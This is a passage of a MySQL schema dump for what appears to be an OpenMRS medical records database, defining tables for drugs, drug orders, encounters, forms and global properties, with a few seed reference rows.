DEFAULT NULL, `strength` varchar(255) DEFAULT NULL, PRIMARY KEY (`drug_id`), UNIQUE KEY `drug_uuid_index` (`uuid`), KEY `primary_drug_concept` (`concept_id`), KEY `drug_creator` (`creator`), KEY `drug_changed_by` (`changed_by`), KEY `dosage_form_concept` (`dosage_form`), KEY `drug_retired_by` (`retired_by`), KEY `route_concept` (`route`), CONSTRAINT `dosage_form_concept` FOREIGN KEY (`dosage_form`) REFERENCES `concept` (`concept_id`), CONSTRAINT `drug_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `drug_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `drug_retired_by` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`), CONSTRAINT `primary_drug_concept` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `route_concept` FOREIGN KEY (`route`) REFERENCES `concept` (`concept_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `drug` -- LOCK TABLES `drug` WRITE; /*!40000 ALTER TABLE `drug` DISABLE KEYS */; /*!40000 ALTER TABLE `drug` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `drug_ingredient` -- DROP TABLE IF EXISTS `drug_ingredient`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `drug_ingredient` ( `drug_id` int(11) NOT NULL, `ingredient_id` int(11) NOT NULL, `uuid` char(38) NOT NULL, `strength` double DEFAULT NULL, `units` int(11) DEFAULT NULL, PRIMARY KEY (`drug_id`,`ingredient_id`), UNIQUE KEY `uuid` (`uuid`), KEY `drug_ingredient_units_fk` (`units`), KEY `drug_ingredient_ingredient_id_fk` (`ingredient_id`), CONSTRAINT `drug_ingredient_drug_id_fk` FOREIGN KEY (`drug_id`) REFERENCES `drug` (`drug_id`), CONSTRAINT `drug_ingredient_ingredient_id_fk` FOREIGN KEY (`ingredient_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `drug_ingredient_units_fk` FOREIGN KEY (`units`) REFERENCES `concept` (`concept_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `drug_ingredient` -- LOCK TABLES `drug_ingredient` WRITE; /*!40000 ALTER TABLE `drug_ingredient` DISABLE KEYS */; /*!40000 ALTER TABLE `drug_ingredient` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `drug_order` -- DROP TABLE IF EXISTS `drug_order`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `drug_order` ( `order_id` int(11) NOT NULL DEFAULT '0', `drug_inventory_id` int(11), `dose` double DEFAULT NULL, `as_needed` tinyint(1) DEFAULT NULL, `dosing_type` varchar(255) DEFAULT NULL, `quantity` double DEFAULT NULL, `as_needed_condition` varchar(255) DEFAULT NULL, `num_refills` int(11) DEFAULT NULL, `dosing_instructions` text, `duration` int(11) DEFAULT NULL, `duration_units` int(11) DEFAULT NULL, `quantity_units` int(11) DEFAULT NULL, `route` int(11) DEFAULT NULL, `dose_units` int(11) DEFAULT NULL, `frequency` int(11) DEFAULT NULL, `brand_name` varchar(255) DEFAULT NULL, `dispense_as_written` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`order_id`), KEY `inventory_item` (`drug_inventory_id`), KEY `drug_order_duration_units_fk` (`duration_units`), KEY `drug_order_quantity_units` (`quantity_units`), KEY `drug_order_route_fk` (`route`), KEY `drug_order_dose_units` (`dose_units`), KEY `drug_order_frequency_fk` (`frequency`), CONSTRAINT `drug_order_dose_units` FOREIGN KEY (`dose_units`) REFERENCES `concept` (`concept_id`), CONSTRAINT `drug_order_duration_units_fk` FOREIGN KEY (`duration_units`) REFERENCES `concept` (`concept_id`), CONSTRAINT `drug_order_frequency_fk` FOREIGN KEY (`frequency`) REFERENCES `order_frequency` (`order_frequency_id`), CONSTRAINT `drug_order_quantity_units` FOREIGN KEY (`quantity_units`) REFERENCES `concept` (`concept_id`), CONSTRAINT `drug_order_route_fk` FOREIGN KEY (`route`) REFERENCES `concept` (`concept_id`), CONSTRAINT `extends_order` FOREIGN KEY (`order_id`) REFERENCES `orders` (`order_id`), CONSTRAINT `inventory_item` FOREIGN KEY (`drug_inventory_id`) REFERENCES `drug` (`drug_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `drug_order` -- LOCK TABLES `drug_order` WRITE; /*!40000 ALTER TABLE `drug_order` DISABLE KEYS */; /*!40000 ALTER TABLE `drug_order` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `drug_reference_map` -- DROP TABLE IF EXISTS `drug_reference_map`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `drug_reference_map` ( `drug_reference_map_id` int(11) NOT NULL AUTO_INCREMENT, `drug_id` int(11) NOT NULL, `term_id` int(11) NOT NULL, `concept_map_type` int(11) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`drug_reference_map_id`), UNIQUE KEY `uuid` (`uuid`), KEY `drug_for_drug_reference_map` (`drug_id`), KEY `concept_reference_term_for_drug_reference_map` (`term_id`), KEY `concept_map_type_for_drug_reference_map` (`concept_map_type`), KEY `user_who_changed_drug_reference_map` (`changed_by`), KEY `drug_reference_map_creator` (`creator`), KEY `user_who_retired_drug_reference_map` (`retired_by`), CONSTRAINT `concept_map_type_for_drug_reference_map` FOREIGN KEY (`concept_map_type`) REFERENCES `concept_map_type` (`concept_map_type_id`), CONSTRAINT `concept_reference_term_for_drug_reference_map` FOREIGN KEY (`term_id`) REFERENCES `concept_reference_term` (`concept_reference_term_id`), CONSTRAINT `drug_for_drug_reference_map` FOREIGN KEY (`drug_id`) REFERENCES `drug` (`drug_id`), CONSTRAINT `drug_reference_map_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_changed_drug_reference_map` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_drug_reference_map` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `drug_reference_map` -- LOCK TABLES `drug_reference_map` WRITE; /*!40000 ALTER TABLE `drug_reference_map` DISABLE KEYS */; /*!40000 ALTER TABLE `drug_reference_map` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `encounter` -- DROP TABLE IF EXISTS `encounter`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `encounter` ( `encounter_id` int(11) NOT NULL AUTO_INCREMENT, `encounter_type` int(11) NOT NULL, `patient_id` int(11) NOT NULL DEFAULT '0', `location_id` int(11) DEFAULT NULL, `form_id` int(11) DEFAULT NULL, `encounter_datetime` datetime NOT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `visit_id` int(11) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`encounter_id`), UNIQUE KEY `encounter_uuid_index` (`uuid`), KEY `encounter_datetime_idx` (`encounter_datetime`), KEY `encounter_ibfk_1` (`creator`), KEY `encounter_type_id` (`encounter_type`), KEY `encounter_form` (`form_id`), KEY `encounter_location` (`location_id`), KEY `encounter_patient` (`patient_id`), KEY `user_who_voided_encounter` (`voided_by`), KEY `encounter_changed_by` (`changed_by`), KEY `encounter_visit_id_fk` (`visit_id`), CONSTRAINT `encounter_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `encounter_form` FOREIGN KEY (`form_id`) REFERENCES `form` (`form_id`), CONSTRAINT `encounter_ibfk_1` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `encounter_location` FOREIGN KEY (`location_id`) REFERENCES `location` (`location_id`), CONSTRAINT `encounter_patient` FOREIGN KEY (`patient_id`) REFERENCES `patient` (`patient_id`) ON UPDATE CASCADE, CONSTRAINT `encounter_type_id` FOREIGN KEY (`encounter_type`) REFERENCES `encounter_type` (`encounter_type_id`), CONSTRAINT `encounter_visit_id_fk` FOREIGN KEY (`visit_id`) REFERENCES `visit` (`visit_id`), CONSTRAINT `user_who_voided_encounter` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `encounter` -- LOCK TABLES `encounter` WRITE; /*!40000 ALTER TABLE `encounter` DISABLE KEYS */; /*!40000 ALTER TABLE `encounter` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `encounter_provider` -- DROP TABLE IF EXISTS `encounter_provider`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `encounter_provider` ( `encounter_provider_id` int(11) NOT NULL AUTO_INCREMENT, `encounter_id` int(11) NOT NULL, `provider_id` int(11) NOT NULL, `encounter_role_id` int(11) NOT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `date_voided` datetime DEFAULT NULL, `voided_by` int(11) DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`encounter_provider_id`), UNIQUE KEY `uuid` (`uuid`), KEY `encounter_id_fk` (`encounter_id`), KEY `provider_id_fk` (`provider_id`), KEY `encounter_role_id_fk` (`encounter_role_id`), KEY `encounter_provider_creator` (`creator`), KEY `encounter_provider_changed_by` (`changed_by`), KEY `encounter_provider_voided_by` (`voided_by`), CONSTRAINT `encounter_id_fk` FOREIGN KEY (`encounter_id`) REFERENCES `encounter` (`encounter_id`), CONSTRAINT `encounter_provider_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `encounter_provider_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `encounter_provider_voided_by` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`), CONSTRAINT `encounter_role_id_fk` FOREIGN KEY (`encounter_role_id`) REFERENCES `encounter_role` (`encounter_role_id`), CONSTRAINT `provider_id_fk` FOREIGN KEY (`provider_id`) REFERENCES `provider` (`provider_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `encounter_provider` -- LOCK TABLES `encounter_provider` WRITE; /*!40000 ALTER TABLE `encounter_provider` DISABLE KEYS */; /*!40000 ALTER TABLE `encounter_provider` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `encounter_role` -- DROP TABLE IF EXISTS `encounter_role`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `encounter_role` ( `encounter_role_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(1024) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`encounter_role_id`), UNIQUE KEY `uuid` (`uuid`), UNIQUE KEY `encounter_role_unique_name` (`name`), KEY `encounter_role_creator_fk` (`creator`), KEY `encounter_role_changed_by_fk` (`changed_by`), KEY `encounter_role_retired_by_fk` (`retired_by`), CONSTRAINT `encounter_role_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `encounter_role_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `encounter_role_retired_by_fk` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `encounter_role` -- LOCK TABLES `encounter_role` WRITE; /*!40000 ALTER TABLE `encounter_role` DISABLE KEYS */; INSERT INTO `encounter_role` VALUES (1,'Unknown','Unknown encounter role for legacy providers with no encounter role set',1,'2011-08-18 14:00:00',NULL,NULL,0,NULL,NULL,NULL,'a0b03050-c99b-11e0-9572-0800200c9a66'); /*!40000 ALTER TABLE `encounter_role` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `encounter_type` -- DROP TABLE IF EXISTS `encounter_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `encounter_type` ( `encounter_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(50) NOT NULL DEFAULT '', `description` text, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `edit_privilege` varchar(255) DEFAULT NULL, `view_privilege` varchar(255) DEFAULT NULL, PRIMARY KEY (`encounter_type_id`), UNIQUE KEY `encounter_type_unique_name` (`name`), UNIQUE KEY `encounter_type_uuid_index` (`uuid`), KEY `encounter_type_retired_status` (`retired`), KEY `user_who_created_type` (`creator`), KEY `user_who_retired_encounter_type` (`retired_by`), KEY `privilege_which_can_view_encounter_type` (`view_privilege`), KEY `privilege_which_can_edit_encounter_type` (`edit_privilege`), CONSTRAINT `privilege_which_can_edit_encounter_type` FOREIGN KEY (`edit_privilege`) REFERENCES `privilege` (`privilege`), CONSTRAINT `privilege_which_can_view_encounter_type` FOREIGN KEY (`view_privilege`) REFERENCES `privilege` (`privilege`), CONSTRAINT `user_who_created_type` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_encounter_type` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `encounter_type` -- LOCK TABLES `encounter_type` WRITE; /*!40000 ALTER TABLE `encounter_type` DISABLE KEYS */; /*!40000 ALTER TABLE `encounter_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `event_records` -- DROP TABLE IF EXISTS `event_records`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `event_records` ( `id` int(11) NOT NULL AUTO_INCREMENT, `uuid` varchar(40) DEFAULT NULL, `title` varchar(255) DEFAULT NULL, `timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, `uri` varchar(255) DEFAULT NULL, `object` varchar(1000) DEFAULT NULL, `category` varchar(255) DEFAULT NULL, `date_created` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `event_records` -- LOCK TABLES `event_records` WRITE; /*!40000 ALTER TABLE `event_records` DISABLE KEYS */; /*!40000 ALTER TABLE `event_records` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `event_records_extras` -- DROP TABLE IF EXISTS `event_records_extras`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `event_records_extras` ( `id` int(11) NOT NULL AUTO_INCREMENT, `event_uuid` varchar(40) DEFAULT NULL, `uuid` varchar(40) DEFAULT NULL, `name` varchar(255) DEFAULT NULL, `value` varchar(1000) DEFAULT NULL, `timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `event_records_extras` -- LOCK TABLES `event_records_extras` WRITE; /*!40000 ALTER TABLE `event_records_extras` DISABLE KEYS */; /*!40000 ALTER TABLE `event_records_extras` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `event_records_offset_marker` -- DROP TABLE IF EXISTS `event_records_offset_marker`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `event_records_offset_marker` ( `id` int(11) NOT NULL AUTO_INCREMENT, `event_id` int(11) DEFAULT NULL, `event_count` int(11) DEFAULT NULL, `category` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `event_records_offset_marker` -- LOCK TABLES `event_records_offset_marker` WRITE; /*!40000 ALTER TABLE `event_records_offset_marker` DISABLE KEYS */; /*!40000 ALTER TABLE `event_records_offset_marker` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `event_records_queue` -- DROP TABLE IF EXISTS `event_records_queue`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `event_records_queue` ( `id` int(11) NOT NULL AUTO_INCREMENT, `uuid` varchar(40) DEFAULT NULL, `title` varchar(255) DEFAULT NULL, `timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, `uri` varchar(255) DEFAULT NULL, `object` varchar(1000) DEFAULT NULL, `category` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `event_records_queue` -- LOCK TABLES `event_records_queue` WRITE; /*!40000 ALTER TABLE `event_records_queue` DISABLE KEYS */; /*!40000 ALTER TABLE `event_records_queue` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `field` -- DROP TABLE IF EXISTS `field`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `field` ( `field_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL DEFAULT '', `description` text, `field_type` int(11) DEFAULT NULL, `concept_id` int(11) DEFAULT NULL, `table_name` varchar(50) DEFAULT NULL, `attribute_name` varchar(50) DEFAULT NULL, `default_value` text, `select_multiple` tinyint(1) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`field_id`), UNIQUE KEY `field_uuid_index` (`uuid`), KEY `field_retired_status` (`retired`), KEY `user_who_changed_field` (`changed_by`), KEY `concept_for_field` (`concept_id`), KEY `user_who_created_field` (`creator`), KEY `type_of_field` (`field_type`), KEY `user_who_retired_field` (`retired_by`), CONSTRAINT `concept_for_field` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `type_of_field` FOREIGN KEY (`field_type`) REFERENCES `field_type` (`field_type_id`), CONSTRAINT `user_who_changed_field` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_created_field` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_field` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `field` -- LOCK TABLES `field` WRITE; /*!40000 ALTER TABLE `field` DISABLE KEYS */; /*!40000 ALTER TABLE `field` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `field_answer` -- DROP TABLE IF EXISTS `field_answer`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `field_answer` ( `field_id` int(11) NOT NULL DEFAULT '0', `answer_id` int(11) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`field_id`,`answer_id`), UNIQUE KEY `field_answer_uuid_index` (`uuid`), KEY `field_answer_concept` (`answer_id`), KEY `user_who_created_field_answer` (`creator`), CONSTRAINT `answers_for_field` FOREIGN KEY (`field_id`) REFERENCES `field` (`field_id`), CONSTRAINT `field_answer_concept` FOREIGN KEY (`answer_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `user_who_created_field_answer` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `field_answer` -- LOCK TABLES `field_answer` WRITE; /*!40000 ALTER TABLE `field_answer` DISABLE KEYS */; /*!40000 ALTER TABLE `field_answer` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `field_type` -- DROP TABLE IF EXISTS `field_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `field_type` ( `field_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(50) DEFAULT NULL, `description` text, `is_set` tinyint(1) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`field_type_id`), UNIQUE KEY `field_type_uuid_index` (`uuid`), KEY `user_who_created_field_type` (`creator`), CONSTRAINT `user_who_created_field_type` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `field_type` -- LOCK TABLES `field_type` WRITE; /*!40000 ALTER TABLE `field_type` DISABLE KEYS */; INSERT INTO `field_type` VALUES (1,'Concept','',0,1,'2005-02-22 00:00:00','8d5e7d7c-c2cc-11de-8d13-0010c6dffd0f'),(2,'Database element','',0,1,'2005-02-22 00:00:00','8d5e8196-c2cc-11de-8d13-0010c6dffd0f'),(3,'Set of Concepts','',1,1,'2005-02-22 00:00:00','8d5e836c-c2cc-11de-8d13-0010c6dffd0f'),(4,'Miscellaneous Set','',1,1,'2005-02-22 00:00:00','8d5e852e-c2cc-11de-8d13-0010c6dffd0f'),(5,'Section','',1,1,'2005-02-22 00:00:00','8d5e86fa-c2cc-11de-8d13-0010c6dffd0f'); /*!40000 ALTER TABLE `field_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `form` -- DROP TABLE IF EXISTS `form`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `form` ( `form_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL DEFAULT '', `version` varchar(50) NOT NULL DEFAULT '', `build` int(11) DEFAULT NULL, `published` tinyint(1) NOT NULL DEFAULT '0', `xslt` text, `template` text, `description` text, `encounter_type` int(11) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retired_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`form_id`), UNIQUE KEY `form_uuid_index` (`uuid`), KEY `form_published_index` (`published`), KEY `form_retired_index` (`retired`), KEY `form_published_and_retired_index` (`published`,`retired`), KEY `user_who_last_changed_form` (`changed_by`), KEY `user_who_created_form` (`creator`), KEY `form_encounter_type` (`encounter_type`), KEY `user_who_retired_form` (`retired_by`), CONSTRAINT `form_encounter_type` FOREIGN KEY (`encounter_type`) REFERENCES `encounter_type` (`encounter_type_id`), CONSTRAINT `user_who_created_form` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_last_changed_form` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_form` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `form` -- LOCK TABLES `form` WRITE; /*!40000 ALTER TABLE `form` DISABLE KEYS */; /*!40000 ALTER TABLE `form` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `form_field` -- DROP TABLE IF EXISTS `form_field`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `form_field` ( `form_field_id` int(11) NOT NULL AUTO_INCREMENT, `form_id` int(11) NOT NULL DEFAULT '0', `field_id` int(11) NOT NULL DEFAULT '0', `field_number` int(11) DEFAULT NULL, `field_part` varchar(5) DEFAULT NULL, `page_number` int(11) DEFAULT NULL, `parent_form_field` int(11) DEFAULT NULL, `min_occurs` int(11) DEFAULT NULL, `max_occurs` int(11) DEFAULT NULL, `required` tinyint(1) NOT NULL DEFAULT '0', `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `sort_weight` double DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`form_field_id`), UNIQUE KEY `form_field_uuid_index` (`uuid`), KEY `user_who_last_changed_form_field` (`changed_by`), KEY `user_who_created_form_field` (`creator`), KEY `field_within_form` (`field_id`), KEY `form_containing_field` (`form_id`), KEY `form_field_hierarchy` (`parent_form_field`), CONSTRAINT `field_within_form` FOREIGN KEY (`field_id`) REFERENCES `field` (`field_id`), CONSTRAINT `form_containing_field` FOREIGN KEY (`form_id`) REFERENCES `form` (`form_id`), CONSTRAINT `form_field_hierarchy` FOREIGN KEY (`parent_form_field`) REFERENCES `form_field` (`form_field_id`), CONSTRAINT `user_who_created_form_field` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_last_changed_form_field` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `form_field` -- LOCK TABLES `form_field` WRITE; /*!40000 ALTER TABLE `form_field` DISABLE KEYS */; /*!40000 ALTER TABLE `form_field` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `form_resource` -- DROP TABLE IF EXISTS `form_resource`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `form_resource` ( `form_resource_id` int(11) NOT NULL AUTO_INCREMENT, `form_id` int(11) NOT NULL, `name` varchar(255) NOT NULL, `value_reference` text NOT NULL, `datatype` varchar(255) DEFAULT NULL, `datatype_config` text, `preferred_handler` varchar(255) DEFAULT NULL, `handler_config` text, `uuid` char(38) NOT NULL, PRIMARY KEY (`form_resource_id`), UNIQUE KEY `uuid` (`uuid`), UNIQUE KEY `unique_form_and_name` (`form_id`,`name`), CONSTRAINT `form_resource_form_fk` FOREIGN KEY (`form_id`) REFERENCES `form` (`form_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `form_resource` -- LOCK TABLES `form_resource` WRITE; /*!40000 ALTER TABLE `form_resource` DISABLE KEYS */; /*!40000 ALTER TABLE `form_resource` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `global_property` -- DROP TABLE IF EXISTS `global_property`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `global_property` ( `property` varchar(255) NOT NULL DEFAULT '', `property_value` text, `description` text, `uuid` char(38) DEFAULT NULL, `datatype` varchar(255) DEFAULT NULL, `datatype_config` text, `preferred_handler` varchar(255) DEFAULT NULL, `handler_config` text, PRIMARY KEY (`property`), UNIQUE KEY `global_property_uuid_index` (`uuid`), KEY `global_property_property_index` (`property`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `global_property` -- LOCK TABLES `global_property` WRITE; /*!40000 ALTER TABLE `global_property` DISABLE KEYS */; INSERT INTO `global_property` VALUES ('allergy.allergen.ConceptClasses','Drug,MedSet','A comma-separated list of the allowed concept classes for the allergen field of the allergy dialog','6aafb839-ef9d-48d8-839e-d4517c21fae2',NULL,NULL,NULL,NULL),('allergy.reaction.ConceptClasses','Symptom','A 